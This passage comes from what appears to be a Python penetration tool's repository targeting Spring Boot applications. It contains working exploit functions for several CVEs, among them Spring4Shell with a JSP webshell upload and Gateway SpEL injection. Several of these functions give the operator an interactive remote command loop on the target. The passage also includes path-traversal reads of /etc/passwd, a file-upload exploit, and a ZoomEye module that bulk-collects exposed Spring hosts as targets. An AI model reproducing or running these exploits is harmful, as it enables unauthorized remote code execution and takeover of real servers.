"""class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 52 | file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" 53 | getpayload = url + payload_http 54 | try: 55 | requests.packages.urllib3.disable_warnings() 56 | requests.post(url, headers=Headers_2, timeout = outtime, data=file_date_data, allow_redirects=False, verify=False, proxies=proxies) 57 | requests.post(url, headers=Headers_2, timeout = outtime, data=payload_other, allow_redirects=False, verify=False, proxies=proxies) 58 | requests.post(url, headers=Headers_1, timeout = outtime, data=payload_linux, allow_redirects=False, verify=False, proxies=proxies) 59 | sleep(0.5) 60 | requests.post(url, headers=Headers_1, timeout = outtime, data=payload_win, allow_redirects=False, verify=False, proxies=proxies) 61 | sleep(0.5) 62 | requests.get(getpayload, headers=Headers_1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 63 | sleep(0.5) 64 | test = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 65 | test_again = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 66 | if (test_again.status_code == 200): 67 | cprint("[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:" + url + "shell.jsp?pwd=tomcat&cmd=whoami" ,"red") 68 | while 1: 69 | Cmd = input("[+] 请输入要执行的命令>>> ") 70 | if Cmd == "exit": 71 | sys.exit(0) 72 | url_shell = url + "shell.jsp?pwd=tomcat&cmd={}".format(Cmd) 73 | r = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies) 74 | r_again = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies) 75 | if r_again.status_code == 500: 76 | cprint("[-] 重发包返回状态码500,请手动尝试利用WebShell:shell.jsp?pwd=tomcat&cmd=whoami\n","yellow") 77 | break 78 | else: 79 | resp = r_again.text 80 | result = re.findall('([^\x00]+)\n', resp)[0] 81 | cprint(result ,"green") 82 | else: 83 | cprint("[-] CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:\n[/shell.jsp?pwd=tomcat&cmd=命令] \n","yellow") 84 | except KeyboardInterrupt: 85 | print("Ctrl + C 手动终止了进程") 86 | sys.exit() 87 | except Exception as e: 88 | print("[-] 发生错误,已记入日志error.log\n") 89 | f2 = open("error.log", "a") 90 | f2.write(str(e) + '\n') 91 | f2.close() 92 | 93 | def CVE_2022_22963(url, proxies, header_new): 94 | cprint("======开始对目标URL进行CVE-2022-22963漏洞利用======", "green") 95 | header = {'spring.cloud.function.routing-expression': 'T(java.lang.Runtime).getRuntime().exec("whoami")'} 96 | data = 'test' 97 | oldHeader = { 98 | 'Accept-Encoding': 'gzip, deflate', 99 | 'Accept': '*/*', 100 | 'Accept-Language': 'en', 101 | 'User-Agent': random.choice(ua), 102 | 'Content-Type': 'application/x-www-form-urlencoded' 103 | } 104 | path = 'functionRouter' 105 | headernew = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) 106 | header.update(headernew) 107 | try: 108 | url = url + path 109 | requests.packages.urllib3.disable_warnings() 110 | req = requests.post(url=url, headers=header, timeout = outtime, data=data, verify=False, proxies=proxies) 111 | code = req.status_code 112 | text = req.text 113 | rsp = '"error":"Internal Server Error"' 114 | if (code == 500) and (rsp in text): 115 | cprint(f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,请手动反弹Shell\n', "red") 116 | else: 117 | cprint("[-] CVE-2022-22963漏洞不存在\n", "yellow") 118 | except KeyboardInterrupt: 119 | print("Ctrl + C 手动终止了进程") 120 | sys.exit() 121 | except Exception as e: 122 | print("[-] 发生错误,已记入日志error.log\n") 123 | f2 = open("error.log", "a") 124 | f2.write(str(e) + '\n') 125 | f2.close() 126 | 127 | def CVE_2022_22947(url, proxies, header_new): 128 | cprint("======开始对目标URL进行CVE-2022-22947漏洞利用======","green") 129 | oldHeader_1 = { 130 | 'Accept-Encoding': 'gzip, deflate', 131 | 'Accept': '*/*', 132 | 'Accept-Language': 'en', 133 | 'User-Agent': random.choice(ua), 134 | 'Content-Type': 'application/json' 135 | } 136 | oldHeader_2 = { 137 | 'User-Agent': random.choice(ua), 138 | 'Content-Type': 'application/x-www-form-urlencoded' 139 | } 140 | headers1 = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\"")) 141 | headers2 = json.loads(str(JSON_handle(oldHeader_2, header_new)).replace("'", "\"")) 142 | vul_status = 0 143 | 144 | payload_windows = '''{\r 145 | "id": "hacktest",\r 146 | "filters": [{\r 147 | "name": "AddResponseHeader",\r 148 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"dir\\"}).getInputStream()))}"}\r 149 | }],\r 150 | "uri": "http://example.com",\r 151 | "order": 0\r 152 | }''' 153 | payload_linux = payload_windows.replace('dir', 'id') 154 | 155 | try: 156 | cprint("[+] 正在发送Linux的Payload","green") 157 | requests.packages.urllib3.disable_warnings() 158 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) 159 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 160 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 161 | if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): 162 | cprint("[+] Payload已经输出,回显结果如下:", "red") 163 | print('\n') 164 | print(re3.text) 165 | print('\n') 166 | print("[+] 执行命令模块(输入exit退出)") 167 | vul_status = 1 168 | else: 169 | cprint("[.] Linux的Payload没成功,清理缓存","green") 170 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 171 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 172 | cprint("[+] 正在发送Windows的Payload","green") 173 | requests.packages.urllib3.disable_warnings() 174 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) 175 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 176 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 177 | if ('' in str(re3.text)): 178 | cprint("[+] Payload已经输出,回显结果如下:", "red") 179 | print('\n') 180 | print(re3.text) 181 | print('\n') 182 | print("[+] 执行命令模块(输入exit退出)") 183 | vul_status = 1 184 | if vul_status == 0: 185 | cprint("[-] CVE-2022-22947漏洞不存在\n", "yellow") 186 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 187 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 188 | while vul_status == 1: 189 | Cmd = input("[+] 请输入要执行的命令>>> ") 190 | if Cmd == "exit": 191 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 192 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 193 | print("[+] 删除路由成功") 194 | sys.exit() 195 | else: 196 | payload_new = payload_windows.replace('dir', Cmd) 197 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) 198 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 199 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 200 | result = re3.text 201 | cprint(result ,"green") 202 | print('\n') 203 | except KeyboardInterrupt: 204 | print("Ctrl + C 手动终止了进程") 205 | sys.exit() 206 | except Exception as e: 207 | print("[-] 发生错误,已记入日志error.log\n") 208 | f2 = open("error.log", "a") 209 | f2.write(str(e) + '\n') 210 | f2.close() 211 | 212 | def JeeSpring_2023(url, proxies, header_new): 213 | cprint("======开始对目标URL进行2023JeeSpring任意文件上传漏洞利用======","green") 214 | oldHeader = { 215 | 'User-Agent': random.choice(ua), 216 | 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', 217 | 'Accept-Encoding': 'gzip, deflate', 218 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 219 | 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', 220 | 'Connection': 'close' 221 | } 222 | headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) 223 | payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' 224 | payload = base64.b64decode(payload2) 225 | path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' 226 | 227 | try: 228 | requests.packages.urllib3.disable_warnings() 229 | re1 = requests.post(url=url + path, data=payload, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 230 | code1 = re1.status_code 231 | if ('jsp' in str(re1.text)) and (int(code1) == 200): 232 | cprint("[+] Payload已经发送,成功上传JSP", "red") 233 | newpath = str(re1.text) 234 | urltest = url + "static/uploadify/" + newpath.strip() 235 | retest = requests.get(url=urltest, timeout = outtime, verify=False, proxies=proxies) 236 | code2 = retest.status_code 237 | if ('Hello' in str(retest.text)) and (code2 == 200): 238 | cprint(f'[+] {url} 存在2023JeeSpring任意文件上传漏洞,Poc地址如下:', "red") 239 | cprint(urltest + '\n', "red") 240 | else: 241 | cprint(f'[.] 未发现Poc存活,请手动验证: {urltest}', "yellow") 242 | else: 243 | cprint("[-] 2023JeeSpring任意文件上传漏洞不存在\n", "yellow") 244 | except KeyboardInterrupt: 245 | print("Ctrl + C 手动终止了进程") 246 | sys.exit() 247 | except Exception as e: 248 | print("[-] 发生错误,已记入日志error.log\n") 249 | f2 = open("error.log", "a") 250 | f2.write(str(e) + '\n') 251 | f2.close() 252 | 253 | def JolokiaRCE(url, proxies, header_new): 254 | cprint("======开始对目标URL进行Jolokia系列RCE漏洞测试======","green") 255 | path1 = 'jolokia' 256 | path2 = 'actuator/jolokia' 257 | path3 = 'jolokia/list' 258 | oldHeader = {"User-Agent": random.choice(ua)} 259 | headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) 260 | try: 261 | requests.packages.urllib3.disable_warnings() 262 | re1 = requests.post(url=url + path1, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 263 | code1 = re1.status_code 264 | re2 = requests.post(url=url + path2, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 265 | code2 = re2.status_code 266 | if ((int(code1) == 200) or (int(code2) == 200)): 267 | cprint("[+] 发现jolokia相关路径状态码为200,进一步验证", "red") 268 | retest = requests.get(url=url + path3, timeout = outtime, verify=False, proxies=proxies) 269 | code3 = retest.status_code 270 | if ('reloadByURL' in str(retest.text)) and (code3 == 200): 271 | cprint(f'[+] {url} 存在Jolokia-Logback-JNDI-RCE漏洞,Poc地址如下:', "red") 272 | cprint(url + path3 + '\n', "red") 273 | elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): 274 | cprint(f'[+] {url} 存在Jolokia-Realm-JNDI-RCE漏洞,Poc地址如下:', "red") 275 | cprint(url + path3 + '\n', "red") 276 | else: 277 | cprint(f'[.] 未发现jolokia/list路径存在关键词,请手动验证:', "yellow") 278 | cprint(url + path3 + '\n', "red") 279 | else: 280 | cprint("[-] Jolokia系列RCE漏洞不存在\n", "yellow") 281 | except KeyboardInterrupt: 282 | print("Ctrl + C 手动终止了进程") 283 | sys.exit() 284 | except Exception as e: 285 | print("[-] 发生错误,已记入日志error.log\n") 286 | f2 = open("error.log", "a") 287 | f2.write(str(e) + '\n') 288 | f2.close() 289 | 290 | def CVE_2021_21234(url,proxies, header_new): 291 | cprint("======开始对目标URL进行CVE-2021-21234漏洞测试======","green") 292 | payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 293 | payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 294 | payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' 295 | payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' 296 | oldHeader = {"User-Agent": random.choice(ua)} 297 | headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) 298 | try: 299 | requests.packages.urllib3.disable_warnings() 300 | re1 = requests.post(url=url + payload1, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 301 | re2 = requests.post(url=url + payload2, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 302 | re3 = requests.post(url=url + payload3, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 303 | re4 = requests.post(url=url + payload4, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 304 | if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): 305 | cprint("[+] 发现Spring Boot目录遍历漏洞且系统为Win,Poc路径如下:", "red") 306 | cprint(url + payload1, "red") 307 | cprint(url + payload2 + '\n', "red") 308 | elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): 309 | cprint(f'[+] 发现Spring Boot目录遍历漏洞且系统为Linux,Poc路径如下:', "red") 310 | cprint(url + payload3, "red") 311 | cprint(url + payload4 + '\n', "red") 312 | else: 313 | cprint("[-] 未发现Spring Boot目录遍历漏洞\n", "yellow") 314 | except KeyboardInterrupt: 315 | print("Ctrl + C 手动终止了进程") 316 | sys.exit() 317 | except Exception as e: 318 | print("[-] 发生错误,已记入日志error.log\n") 319 | f2 = open("error.log", "a") 320 | f2.write(str(e) + '\n') 321 | f2.close() 322 | 323 | def SnakeYAML_RCE(url, proxies, header_new): 324 | cprint("======开始对目标URL进行SnakeYAML RCE漏洞测试======","green") 325 | oldHeaders_1 = { 326 | "User-Agent": random.choice(ua), 327 | "Content-Type": "application/x-www-form-urlencoded" 328 | } 329 | oldHeaders_2 = { 330 | "User-Agent": random.choice(ua), 331 | "Content-Type": "application/json" 332 | } 333 | payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" 334 | payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" 335 | path = 'env' 336 | Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) 337 | Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) 338 | try: 339 | requests.packages.urllib3.disable_warnings() 340 | urltest = url + path 341 | re1 = requests.post(url=urltest, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) 342 | re2 = requests.post(url=urltest, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) 343 | if ('example.yml' in str(re1.text)): 344 | cprint("[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x:", "red") 345 | cprint('漏洞存在路径为 ' + urltest + '\n', "red") 346 | cprint('POST数据包内容为 ' + payload_1 + '\n', "red") 347 | elif ('example.yml' in str(re2.text)): 348 | cprint("[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x:", "red") 349 | cprint('漏洞存在路径为 ' + urltest + '\n', "red") 350 | cprint('POST数据包内容为 ' + payload_2 + '\n', "red") 351 | else: 352 | cprint("[-] 未发现SnakeYAML-RCE漏洞\n", "yellow") 353 | except KeyboardInterrupt: 354 | print("Ctrl + C 手动终止了进程") 355 | sys.exit() 356 | except Exception as e: 357 | print("[-] 发生错误,已记入日志error.log\n") 358 | f2 = open("error.log", "a") 359 | f2.write(str(e) + '\n') 360 | f2.close() 361 | 362 | def Eureka_xstream_RCE(url, proxies, header_new): 363 | cprint("======开始对目标URL进行Eureka_Xstream反序列化漏洞测试======","green") 364 | oldHeaders_1 = { 365 | "User-Agent": random.choice(ua), 366 | "Content-Type": "application/x-www-form-urlencoded" 367 | } 368 | oldHeaders_2 = { 369 | "User-Agent": random.choice(ua), 370 | "Content-Type": "application/json" 371 | } 372 | Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) 373 | Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) 374 | payload_1 = "eureka.client.serviceUrl.defaultZone=http://127.0.0.2/example.yml" 375 | payload_2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://127.0.0.2/example.yml\"}" 376 | path1 = 'env' 377 | path2 = 'actuator/env' 378 | try: 379 | requests.packages.urllib3.disable_warnings() 380 | urltest1 = url + path1 381 | urltest2 = url + path2 382 | re1 = requests.post(url=urltest1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) 383 | re2 = requests.post(url=urltest2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) 384 | if ('127.0.0.2' in str(re1.text)): 385 | cprint("[+] 发现Eureka_Xstream反序列化漏洞,Poc为Spring 1.x:", "red") 386 | cprint('漏洞存在路径为 ' + urltest1 + '\n', "red") 387 | cprint('POST数据包内容为 ' + payload_1 + '\n', "red") 388 | elif ('127.0.0.2' in str(re2.text)): 389 | cprint("[+] 发现Eureka_Xstream反序列化漏洞,Poc为Spring 2.x:", "red") 390 | cprint('漏洞存在路径为 ' + urltest2 + '\n', "red") 391 | cprint('POST数据包内容为 ' + payload_2 + '\n', "red") 392 | else: 393 | cprint("[-] 未发现Eureka_Xstream反序列化漏洞\n", "yellow") 394 | except KeyboardInterrupt: 395 | print("Ctrl + C 手动终止了进程") 396 | sys.exit() 397 | except Exception as e: 398 | print("[-] 发生错误,已记入日志error.log\n") 399 | f2 = open("error.log", "a") 400 | f2.write(str(e) + '\n') 401 | f2.close() 402 | 403 | def CVE_2018_1273(url, proxies, header_new): 404 | cprint("======开始对目标URL进行Spring_Data_Commons远程命令执行漏洞测试======","green") 405 | oldHeaders = { 406 | "User-Agent": random.choice(ua), 407 | "Content-Type": "application/x-www-form-urlencoded" 408 | } 409 | Headers = json.loads(str(JSON_handle(oldHeaders, header_new)).replace("'", "\"")) 410 | path1 = 'users' 411 | path2 = 'users?page=0&size=5' 412 | payload1 = "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")]=chybeta&password=chybeta&repeatedPassword=chybeta" 413 | payload2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('whoami')\")]=asdf" 414 | try: 415 | requests.packages.urllib3.disable_warnings() 416 | urltest1 = url + path1 417 | urltest2 = url + path2 418 | re1 = requests.get(url=urltest1, headers=Headers, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 419 | code1 = re1.status_code 420 | if ((int(code1) == 200) and ('Users' in str(re1.text))): 421 | cprint("[+] 发现Spring_Data_Commons远程命令执行漏洞:", "red") 422 | cprint('漏洞存在路径为 ' + urltest1 + '\n', "red") 423 | print("[+] 执行命令模块(输入exit退出)") 424 | choose = input("[+] 总共有两种Payload,请输入1或者2>>> ") 425 | while 1: 426 | Cmd = input("[+] 请输入要执行的命令>>> ") 427 | if (choose == '1'): 428 | payload3 = payload1.replace('whoami', Cmd) 429 | else: 430 | payload3 = payload2.replace('whoami', Cmd) 431 | if Cmd == "exit": 432 | sys.exit(0) 433 | else: 434 | re2 = requests.post(url=urltest2, data=payload3, headers=Headers, timeout = outtime, verify=False, proxies=proxies) 435 | code2 = re2.status_code 436 | if (int(code2) != 503): 437 | cprint('[+] 该Payload已经打出,由于该漏洞无回显,请用Dnslog进行测试\n', "red") 438 | else: 439 | cprint("[-] 未发现Spring_Data_Commons远程命令执行漏洞\n", "yellow") 440 | except KeyboardInterrupt: 441 | print("Ctrl + C 手动终止了进程") 442 | sys.exit() 443 | except Exception as e: 444 | print("[-] 发生错误,已记入日志error.log\n") 445 | f2 = open("error.log", "a") 446 | f2.write(str(e) + '\n') 447 | f2.close() 448 | 449 | def vul(url, proxies, header_new): 450 | functions = { 451 | 1: JeeSpring_2023, 452 | 2: CVE_2022_22947, 453 | 3: CVE_2022_22963, 454 | 4: CVE_2022_22965, 455 | 5: CVE_2021_21234, 456 | 6: SnakeYAML_RCE, 457 | 7: Eureka_xstream_RCE, 458 | 8: JolokiaRCE, 459 | 9: CVE_2018_1273, 460 | } 461 | cprint("[+] 目前漏洞库内容如下:","green") 462 | for num, func in functions.items(): 463 | print(f" {num}: {func.__name__}") 464 | try: 465 | choices = input("\n请输入要检测的漏洞 (例子:1,3,5 直接回车即检测全部漏洞): ") 466 | if choices == '': 467 | choices = "1,2,3,4,5,6,7,8,9" 468 | choices = [int(choice) for choice in choices.split(',')] 469 | except Exception as e: 470 | print("请不要输入无意义的字符串") 471 | sys.exit() 472 | for choice in choices: 473 | selected_func = functions.get(choice) 474 | if selected_func: 475 | selected_func(url, proxies, header_new) 476 | else: 477 | print(f"{choice} 输入错误,请重新输入漏洞选择模块\n") 478 | break 479 | cprint("后续会加入更多漏洞利用模块,请师傅们敬请期待~", "red") 480 | sys.exit() 481 | -------------------------------------------------------------------------------- /inc/zoom.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import requests, sys, json, re, random, base64 8 | from termcolor import cprint 9 | from time import sleep 10 | import urllib3 11 | urllib3.disable_warnings() 12 | 13 | def JSON_load(text): 14 | json_str = text 15 | data = json.loads(json_str) 16 | # 提取ip和port信息 17 | ip_port_list = [(match["portinfo"]["hostname"], match["portinfo"]["service"], match["ip"], match["portinfo"]["port"]) for match in data["matches"]] 18 | if ip_port_list == []: 19 | cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") 20 | sys.exit() 21 | # 打印提取的信息 22 | for hostname, service, ip, port in ip_port_list: 23 | if ("https" in service): 24 | service = "https://" 25 | else: 26 | service = "http://" 27 | if (hostname): 28 | outurl = str(service) + str(hostname) + ":" + str(port) 29 | else: 30 | outurl = str(service) + str(ip) + ":" + str(port) 31 | f2 = open("zoomout.txt", "a") 32 | f2.write(str(outurl) + '\n') 33 | f2.close() 34 | print(f"Service: {outurl}") 35 | 36 | def Key_Dowload(key,proxies,choices,searchs): 37 | cprint("======通过ZoomEye密钥进行API下载数据======","green") 38 | Headers = { 39 | "API-KEY": key, 40 | "Content-Type": "application/x-www-form-urlencoded" 41 | } 42 | pagesys = (choices%20) 43 | pageszc = (choices//20) 44 | if pagesys > 0: 45 | pages = pageszc + 1 46 | else: 47 | pages = pageszc 48 | i = 1 49 | while i <= pages: 50 | page_url = "&page=" + str(i) 51 | keyurl = "https://api.zoomeye.org/host/search?query="+ searchs + "&t=web" 52 | dowloadurl = keyurl + page_url 53 | cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") 54 | try: 55 | requests.packages.urllib3.disable_warnings() 56 | dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=6, verify=False, proxies=proxies) 57 | if (dowloadre.status_code == 200) or (dowloadre.status_code == 201): 58 | JSON_load(dowloadre.text) 59 | cprint("-" * 45, "red") 60 | else: 61 | cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") 62 | cprint("[-] 请根据返回的状态码,参考官方手册:https://www.zoomeye.org/doc","yellow") 63 | except KeyboardInterrupt: 64 | print("Ctrl + C 手动终止了进程") 65 | sys.exit() 66 | except Exception as e: 67 | print("[-] 发生错误,已记入日志error.log\n") 68 | f2 = open("error.log", "a") 69 | f2.write(str(e) + '\n') 70 | f2.close() 71 | i = i + 1 72 | 73 | def Key_Test(key,proxies,choices,searchs): 74 | cprint("======您的ZoomEye密钥进行API对接测试======","green") 75 | Headers = { 76 | "API-KEY": key, 77 | "Content-Type": "application/x-www-form-urlencoded" 78 | } 79 | keytesturl = "https://api.zoomeye.org/host/search?query=app:\"Spring Framework\"&page=1" 80 | try: 81 | requests.packages.urllib3.disable_warnings() 82 | testre = requests.get(url=keytesturl, headers=Headers, timeout=6, verify=False, proxies=proxies) 83 | if (testre.status_code == 200) or (testre.status_code == 201): 84 | cprint("[+] 您的key有效,测试成功!", "red") 85 | Key_Dowload(key,proxies,choices,searchs) 86 | else: 87 | cprint("[-] API返回状态码为 %d" % testre.status_code,"yellow") 88 | cprint("[-] 请根据返回的状态码,参考官方手册:https://www.zoomeye.org/doc","yellow") 89 | sys.exit() 90 | except KeyboardInterrupt: 91 | print("Ctrl + C 手动终止了进程") 92 | sys.exit() 93 | except Exception as e: 94 | print("[-] 发生错误,已记入日志error.log\n") 95 | f2 = open("error.log", "a") 96 | f2.write(str(e) + '\n') 97 | f2.close() 98 | 99 | def ZoomDowload(key,proxies): 100 | cprint("======开始对接ZoomEye接口进行Spring资产测绘======","green") 101 | cprint('[+] 您的ZoomEye密钥为:' + key ,"green") 102 | try: 103 | choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") 104 | if choices == '': 105 | choices = "100" 106 | elif int(choices) <= 0: 107 | print("请不要输入负数") 108 | sys.exit() 109 | choices = int(choices) 110 | except Exception as e: 111 | print("请不要输入无意义的字符串") 112 | sys.exit() 113 | search = input("[.] 请输入要测绘的语句(默认app:\"Spring Framework\"): ") 114 | if search == "": 115 | searchs = str("app:\"Spring Framework\"") 116 | else: 117 | searchs = str(search) 118 | f2 = open("zoomout.txt", "wb+") 119 | f2.close() 120 | Key_Test(key,proxies,choices,searchs) 121 | count = len(open("zoomout.txt", 'r').readlines()) 122 | if count >= 1: 123 | cprint("[+][+][+] 已经将ZoomEye的资产结果导出至 zoomout.txt ,共%d行记录" % count,"red") 124 | sys.exit() 125 | -------------------------------------------------------------------------------- /pic/Fofa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/Fofa.png -------------------------------------------------------------------------------- /pic/GUI.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/GUI.png -------------------------------------------------------------------------------- /pic/Headers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/Headers.png -------------------------------------------------------------------------------- /pic/Hunter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/Hunter.png -------------------------------------------------------------------------------- /pic/Poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/Poc.png -------------------------------------------------------------------------------- /pic/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /pic/ZoomEye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/ZoomEye.png -------------------------------------------------------------------------------- /pic/对单一URL进行漏洞利用.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/对单一URL进行漏洞利用.png -------------------------------------------------------------------------------- /pic/扫描单一URL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/扫描单一URL.png -------------------------------------------------------------------------------- /pic/扫描并下载SpringBoot敏感文件.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/扫描并下载SpringBoot敏感文件.png -------------------------------------------------------------------------------- /pic/测试代理.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/测试代理.png -------------------------------------------------------------------------------- /pic/读取TXT并批量扫描.png: -------------------------------------------------------------------------------- 